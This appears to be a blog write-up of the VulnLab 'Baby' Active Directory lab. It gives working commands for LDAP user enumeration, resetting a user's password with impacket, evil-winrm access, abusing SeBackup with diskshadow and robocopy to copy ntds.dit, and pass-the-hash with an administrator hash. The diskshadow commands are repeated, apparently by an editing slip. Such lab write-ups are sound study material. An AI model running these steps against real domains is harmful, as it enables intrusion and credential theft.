~$ cd ~

VulnLab: Baby

We have no anonymous SMB access and we cant get any info from rpc client.

Ldap search we can get a lot of juicy info without creds.

Screenshot 1

Default password for users

BabyStart123!
 

Login does not work for teresa.bell though

Screenshot 2

We can get a list of users with the command below

ldapsearch -H ldap://10.10.124.185 -x -b 'DC=baby,DC=vl' -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
Screenshot 3

But the password still doesn't work for any other users on the machine. However one user has an interesting popup

Screenshot 4

We can change this using impacket-changepasswd

impacket-changepasswd 'Caroline.Robinson:[email protected]' -newpass Password2
Screenshot 5

Confirmed the changed worked

Screenshot 6

We have evil-winrm access

evil-winrm -i baby.vl -u caroline.robinson -p Password2
Screenshot 7

Grab the user flag

Screenshot 8

We have SeBackup so we can use that to grab the admin flag

Screenshot 9 Screenshot 10

We can download the SAM database but the ntlm for admin is incorrect.

The link below covers a smart way to get the ntds.dit

https://hiddendoorsecurity.com/2024/05/27/walkthrough-baby-vulnlab/

Create a diskshadow.txt file with the contents below

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
 

then run these commands

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

Then execute the command below which clones C: to Z:

diskshadow.exe /s c:\temp\diskshadow.txt
Screenshot 11

Then we can copy the ntds.dit here and download it

robocopy /b Z:\Windows\ntds . ntds.dit
download ntds.dit

Then we use impacket to dump the new hashes and get a valid hash for admin

Screenshot 12
evil-winrm -i 10.10.71.244 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
Screenshot 13 Screenshot 14